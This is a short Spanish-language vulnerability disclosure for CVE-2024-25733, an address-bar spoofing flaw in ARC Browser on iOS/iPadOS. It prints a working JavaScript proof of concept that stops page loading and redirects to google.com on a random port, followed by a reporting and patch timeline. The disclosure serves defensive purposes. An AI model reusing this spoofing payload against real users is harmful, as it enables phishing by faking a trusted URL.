Suplantación de la barra de direcciones de ARC Browser - iOS/iPadOS (CVE-2024-25733)

PoC de suplantación de la barra de direcciones de ARC Browser - iOS/iPadOS

Exploit PoC (Prueba de concepto)

<script>
    function spoof() {
        setTimeout(() => {
            window.stop();
            let randomPort;
            do {
                randomPort = Math.floor(Math.random() * 1000);
            } while (randomPort === 0 || randomPort === 443);
            document.location = "https://google.com:" + randomPort + "/";
        }, 300);
    }
    spoof();
</script>

DEMO

PoC.mp4

Cronología

• 2024-01-25 : Vulnerabilidad reportada a The Browser Company of New York
• 2024-01-25 : Reconocida como vulnerabilidad de seguridad
• 2024-02-13 : Parcheada en la última versión